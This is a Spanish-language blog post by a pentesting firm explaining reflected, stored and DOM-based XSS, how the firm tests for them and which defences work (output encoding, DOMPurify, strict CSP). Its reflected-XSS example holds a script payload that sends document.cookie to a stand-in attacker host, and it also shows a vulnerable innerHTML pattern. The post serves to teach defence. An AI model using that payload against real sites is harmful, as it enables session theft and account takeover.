Cross-Site Scripting (XSS) en 2026: el fallo web que se niega a morir
El cross-site scripting lleva más de veinte años entre las principales vulnerabilidades web y sigue siendo uno de los fallos críticos más frecuentes que reportamos. Aquí explicamos cómo funcionan el XSS reflejado, almacenado y de DOM, cómo los probamos y las defensas que de verdad aguantan.

Un cuadro de comentarios en un sitio de marketing nos entregó una cuenta de administrador. El revisor escribió un comentario. Un administrador abrió la cola de moderación para aprobarlo. El JavaScript escondido en ese comentario se ejecutó dentro del navegador del administrador, con cookies y todo – sin contraseña, sin señuelo de phishing, sin malware descargado. Eso es cross-site scripting almacenado, y en 2026 seguimos catalogándolo como crítico en muchas de las aplicaciones que probamos.
La gente no deja de declarar muerto el XSS. Ahora los frameworks escapan la salida por defecto, los navegadores traen ajustes más sensatos, la Content-Security-Policy está por todas partes. Todo cierto. Y aun así el cross-site scripting sigue apareciendo en nuestros informes, porque una aplicación moderna tiene más sitios donde inyectar que nunca: plantillas del lado del cliente, enrutadores single-page, JSON volcado en una etiqueta script, renderizadores de markdown y el suministro inagotable de llamadas a innerHTML “solo por esta vez” que nadie marcó en la revisión.
Lo que sigue es el mapa de un pentester en activo sobre dónde vive el XSS hoy, cómo lo encontramos, cuánto cuesta cuando se dispara y qué correcciones aguantan de verdad.
Puntos clave
- El cross-site scripting (CWE-79) permite a un atacante ejecutar su JavaScript en la sesión del navegador de otro usuario, lo que suele significar robo de sesión y toma de control de la cuenta, no un popup inofensivo.
- Tres clases prácticas: reflejado (la carga viaja en la petición y se devuelve tal cual), almacenado (la carga se guarda en el servidor y se sirve a otros usuarios) y basado en DOM (el sink vive en el JavaScript del lado del cliente, así que puede que el servidor nunca lo vea).
- La corrección más fiable es el encoding de salida consciente del contexto en el punto de salida, respaldado por una Content-Security-Policy estricta como defensa en profundidad. La “sanitización” de la entrada por sí sola no basta.
- Los escáneres automáticos detectan el XSS reflejado bastante bien, pero se saltan de forma habitual el XSS de DOM y el XSS almacenado que necesita un segundo usuario o un flujo de trabajo concreto para dispararse.
- Las cookies HttpOnly frenan el robo de cookies, pero no impiden que el XSS actúe como el usuario. Es una mitigación, no una corrección.
¿Qué es el cross-site scripting y por qué sigue importando?
El cross-site scripting es una vulnerabilidad en la que una aplicación toma datos controlados por el atacante y los vuelca en una página sin mantener los datos separados del código, de modo que el navegador los ejecuta como script. El viejo planteamiento de OWASP sigue vigente: es un fallo a la hora de mantener la entrada no confiable fuera de un contexto ejecutable. Se registra como CWE-79 y ha estado en el OWASP Top 10 durante toda su existencia, últimamente integrado en la categoría Injection (A03).
Por qué importa es más simple que la taxonomía. Cuando tu script se ejecuta en el navegador de una víctima, eres ese usuario mientras la página siga abierta. Lees el DOM, disparas peticiones autenticadas con sus cookies, extraes sus datos, envías formularios en su nombre y pivotas desde ahí. El proof-of-concept alert(1) ante el que todos ponen los ojos en blanco es solo una forma educada de decir “puedo ejecutar código aquí.” La carga real es silenciosa y nunca aparece en pantalla.
La razón por la que el XSS se niega a morir es que la superficie de ataque creció. Hace diez años la mayor parte de la salida ocurría en el servidor, en un único lenguaje de plantillas, y si escapabas ahí estabas casi a salvo. Hoy una misma página puede renderizarse en el servidor, hidratarse en el cliente, tirar de JSON desde tres APIs y entregar cadenas a un motor de plantillas del lado del cliente. Cada uno de ellos es un contexto de salida distinto con sus propias reglas de escapado. Al navegador le da igual qué capa se equivocó.
XSS reflejado, almacenado y de DOM: ¿cuál es la diferencia?
Las tres clases se diferencian por dónde vive la carga y cómo llega a la víctima. Eso cambia cómo pruebas y cómo de grave es.
XSS reflejado
El cross-site scripting reflejado se dispara cuando la aplicación toma algo de la petición actual – una cadena de consulta, un campo de formulario, una cabecera – y lo reescribe directamente en la respuesta. No se almacena nada. El atacante tiene que conseguir que la víctima haga clic en un enlace preparado o envíe un formulario trucado. Una página de búsqueda que devuelve tu consulta es el caso de manual:
GET /search?q=<script>fetch('https://attacker.example/c?'+document.cookie)</script> HTTP/1.1
Host: acme-corp.example
Si el término vuelve sin escapar dentro del cuerpo HTML, se ejecuta. El XSS reflejado se descarta como de baja gravedad porque hace falta un clic. Combínalo con un pretexto creíble o una redirección same-site y toma el control de cuentas sin problema.
XSS almacenado
El cross-site scripting almacenado es el que me quita el sueño en los proyectos de cliente. La carga se guarda en el servidor – un comentario, la biografía de un perfil, un ticket de soporte, un nombre de archivo, un nombre de dispositivo que acaba en un panel de administración – y se sirve a quien lo vea después. La víctima no hace clic en nada. Carga la página. El XSS almacenado en un contexto compartido como un panel de administración o un feed de equipo es, en la práctica, propenso a gusanos, y se lleva un crítico en nuestros informes casi siempre.
Los casos más feos son: atacante con pocos privilegios, víctima con muchos. Envías la carga como cliente. Un usuario interno abre tu registro para ayudarte. Ahora tu código se ejecuta en una sesión privilegiada. Hemos encontrado exactamente esto en sistemas de ticketing, consolas de gestión de dispositivos IoT y campos de notas de CRM más veces de las que puedo contar.
XSS basado en DOM
El XSS de DOM es cuando todo el flujo de datos vulnerable se queda en el JavaScript del lado del cliente. El servidor puede enviar una respuesta impecable, pero un script de la página lee de una fuente que el atacante controla – location.hash, location.search, document.referrer, un postMessage – y la lleva a un sink peligroso como innerHTML, document.write, eval o el binding de raw-HTML de un framework. Como la carga puede que nunca llegue al servidor, tus logs de servidor y tu WAF nunca la ven.
// Vulnerable pattern we still find in SPAs
const tab = decodeURIComponent(location.hash.slice(1));
document.querySelector('#panel').innerHTML = tab;
// Request: https://app.acme-corp.example/#<img src=x>
El XSS de DOM se volvió más común a medida que las aplicaciones empujaron la lógica al cliente, y es la clase que más se les escapa a los escáneres. Encontrarlo implica entender el flujo de datos de JavaScript, no comparar dos respuestas.
¿Cómo probamos el cross-site scripting?
Empezamos mapeando cada sitio donde la entrada del usuario puede llegar a una respuesta o al DOM, y luego probamos cada uno en su contexto de salida real. Con el XSS, el contexto lo es todo. Una carga que se dispara dentro de un cuerpo HTML no hace nada dentro de una cadena de JavaScript o un atributo HTML, y a la inversa también. Salir del contexto es la mitad del trabajo.
El flujo de trabajo, en concreto. Pasamos la aplicación por Burp Suite y la recorremos como un usuario normal, catalogando parámetros, cabeceras y campos JSON. Después sembramos un canary único que nunca aparecerá de forma natural – algo como cxpl0it7 – a través de cada entrada, y hacemos grep en la respuesta cruda y en el DOM renderizado para ver dónde aterriza y cómo se codificó:
curl -s 'https://acme-corp.example/search?q=cxpl0it7' | grep -n cxpl0it7
Donde el canary se refleja, sondeamos ese punto concreto: ¿sobreviven los corchetes angulares, sobreviven las comillas, está dentro de un bloque <script>, un valor de atributo, una URL, un manejador de eventos? La respuesta dicta la carga de ruptura. Si se refleja dentro de un atributo entre comillas dobles, necesitas "> antes de tu etiqueta; si se refleja dentro de una cadena de script existente, estás cerrando una comilla y una sentencia, no abriendo una etiqueta.
Para el XSS de DOM nos apoyamos en el navegador. El DOM Invader de Burp es realmente bueno rastreando fuentes hasta sinks en single-page apps enredadas, y marca los flujos de innerHTML y eval por los que un escáner pasa de largo. También leemos el JavaScript. Cuando una aplicación entrega datos no confiables a un motor de plantillas o a un binding de raw-HTML, esa sola línea vale más que cien cargas a ciegas.
El instrumental automatizado se gana su sitio por amplitud. Lanzamos plantillas de nuclei y el escáner activo de Burp para barrer rápido los casos reflejados obvios. Pero los críticos vienen de una persona: la carga almacenada que solo se dispara en la cola de administración, el flujo de DOM detrás de un feature flag, el XSS por mutación que solo se activa después de que el navegador vuelve a parsear un HTML supuestamente saneado. Los escáneres no modelan un segundo usuario víctima ni un flujo de cinco pasos. En esa brecha están los bugs de verdad.
Una opinión que sostengo con firmeza: “saneamos la entrada” no es una respuesta que acepte en una llamada. Sanear a la entrada se rompe en el momento en que los datos aterrizan en un contexto que el saneador nunca previó, y es frágil frente a la mutación y la doble decodificación. La pregunta es dónde y cómo codificas a la salida.
¿Qué permite hacer realmente un XSS a un atacante?
Ejecutar código como la víctima, y el resultado que más demostramos es la toma de control de la cuenta. Si los tokens de sesión están en una cookie sin HttpOnly, o en localStorage, el script los lee y los envía fuera. Pon HttpOnly y el script sigue actuando como el usuario: hace peticiones autenticadas same-origin, así que cambia el email de la cuenta, añade una clave API, desactiva la MFA a través del endpoint de ajustes, o aprueba su propia solicitud pendiente. HttpOnly frena el robo del token. No frena el abuso de la sesión.
Más allá de una sola cuenta, el XSS es un punto de apoyo. Un XSS almacenado en una interfaz de administración puede sembrar una carga autopropagante o exfiltrar en silencio los datos de otros usuarios a gran escala. Lo hemos encadenado con defensas CSRF débiles y con fallos del lado del servidor para pasar de “ejecutar script en un navegador” al compromiso total de la aplicación. En aplicaciones expuestas al exterior, un buen XSS es un vector de acceso inicial creíble; en aplicaciones internas es un abuso directo de credenciales y de sesión.
Calificar un XSS de “medio porque hace falta un clic” es un error que vemos en muchos informes previos. La gravedad depende de quién es la víctima y de lo que esa sesión puede hacer. Un XSS almacenado que alcanza a un administrador es un crítico, y punto.
¿Cómo se previene el cross-site scripting?
La corrección principal es el encoding de salida consciente del contexto, aplicado en el momento en que el dato se escribe en una página, por un mecanismo que conoce el contexto. Codifica de forma distinta para el cuerpo HTML, el atributo HTML, el JavaScript, la URL y el CSS, porque las reglas de verdad difieren. Los frameworks modernos hacen la mayor parte por ti: React, Angular y Vue escapan los valores interpolados por defecto. Los bugs se concentran en las vías de escape – dangerouslySetInnerHTML, el bypassSecurityTrustHtml de Angular, v-html, cualquier innerHTML hecho a mano. Trata cada uno como una línea que hay que justificar en la revisión.
¿Tienes que renderizar HTML aportado por el usuario para un campo de texto enriquecido o un comentario en markdown? No escribas tu propio saneador. Usa una biblioteca mantenida y bien probada como DOMPurify con una allowlist conservadora, y ejecútala lo más cerca del sink que puedas. Una blocklist casera contra <script> es una partida perdida; los atacantes tienen décadas de trucos de mutación y codificación y tú tienes una tarde.
La Content-Security-Policy es tu segunda línea, y una fuerte. Una CSP estricta basada en nonces que descarta el script inline y bloquea orígenes de script desconocidos convierte muchos bugs de XSS de “toma de control de cuenta” en “sin ejecución.” No sustituye al encoding – una CSP se configura mal, se sortea a través de un CDN permitido, o se esquiva con una inyección que no necesita script alguno – pero una política ajustada ha salvado aplicaciones que hemos probado de fallos que de otro modo serían explotables. Combínala con los flags de cookie HttpOnly, Secure y SameSite, y con la API Trusted Types en los navegadores que la soportan para blindar directamente los sinks del DOM.
Content-Security-Policy: default-src 'self';
script-src 'self' 'nonce-r4nd0mPerRequest';
object-src 'none';
base-uri 'none';
require-trusted-types-for 'script';
El cuadro por capas es corto. Codifica a la salida para que el bug ni exista. Sanea cualquier HTML enriquecido con una biblioteca de verdad. Despliega una CSP estricta y cookies endurecidas para que el que se te escape haga el menor daño posible.
Cómo ayuda CyberXplore
Encontrar el XSS que importa – la carga almacenada que solo se dispara para un administrador, el flujo de DOM enterrado en una single-page app, el bug por mutación que se cuela ante tu saneador – requiere una persona que pruebe cada entrada en su contexto de salida real y piense en una segunda víctima. Ese es el núcleo de nuestro servicio de test de intrusión de aplicaciones web. Mapeamos toda tu superficie de entrada, probamos a mano el cross-site scripting reflejado, almacenado y basado en DOM junto con el resto de la checklist alineada con OWASP, y demostramos el impacto con un proof-of-concept seguro para que tu equipo vea exactamente lo que conseguiría un atacante real. Cada hallazgo se entrega con el contexto concreto, la carga y el cambio de encoding o de CSP que lo cierra.
¿Quieres que el XSS y el resto de tu superficie de ataque web los prueben personas que hacen esto cada semana? Solicita un presupuesto y definimos el alcance contigo.
FAQ
¿Sigue siendo el cross-site scripting un riesgo serio en 2026?
Sí. Los frameworks con auto-escapado han recortado el volumen de XSS reflejado trivial, pero el cross-site scripting almacenado y basado en DOM sigue estando entre los hallazgos críticos más frecuentes en las pruebas de aplicaciones web modernas. La superficie de ataque se movió al cliente y a las vías de escape de raw-HTML, y ahí es exactamente donde lo seguimos encontrando.
¿Una Content-Security-Policy hace mi aplicación inmune al XSS?
No, y tratarla así es un error. Una CSP estricta basada en nonces es una defensa en profundidad excelente y neutraliza muchas cargas, pero puede configurarse mal, sortearse a través de una fuente de script permitida, o esquivarse con una inyección que no depende de ejecutar script. Usa la CSP junto al encoding de salida, nunca en su lugar.
¿Las cookies HttpOnly detienen el XSS?
Impiden que el script lea directamente la cookie de sesión, lo que bloquea el robo de token más sencillo. No impiden que el script haga peticiones autenticadas como el usuario, así que un atacante todavía puede cambiar los ajustes de la cuenta, añadir claves API o desactivar la MFA a través de la propia aplicación. HttpOnly es una mitigación valiosa, no una corrección del bug de fondo.
¿Pueden los escáneres automáticos encontrar todo mi XSS?
Encuentran una parte. Los escáneres manejan bien el XSS reflejado sencillo, pero se saltan de forma habitual los flujos basados en DOM que exigen leer el JavaScript, y el XSS almacenado que solo se dispara para un segundo usuario o tras un flujo de trabajo de varios pasos. Esos son los casos de mayor gravedad, y necesitan un probador humano que modele a la víctima y el contexto.
¿Cuál es la diferencia entre validación de entrada y encoding de salida para el XSS?
La validación de entrada comprueba los datos según llegan y puede rechazar valores obviamente malos, lo que ayuda pero no basta, porque el mismo dato puede ser seguro en un contexto y peligroso en otro. El encoding de salida transforma los datos en el momento en que se escriben en una página, según ese contexto concreto, de modo que no puedan leerse como código. El encoding de salida es la defensa principal; la validación es un control de apoyo.
¿Con qué frecuencia deberíamos probar el cross-site scripting?
Prueba al menos una vez al año y después de cualquier cambio significativo en cómo la aplicación renderiza la entrada del usuario – una nueva función de texto enriquecido, una actualización de framework, una nueva vista del lado del cliente. El escaneo continuo atrapa las regresiones en los casos obvios, pero un test de intrusión de aplicación web manual con una cadencia regular es lo que saca a la luz el XSS almacenado y de DOM que los escáneres se saltan.



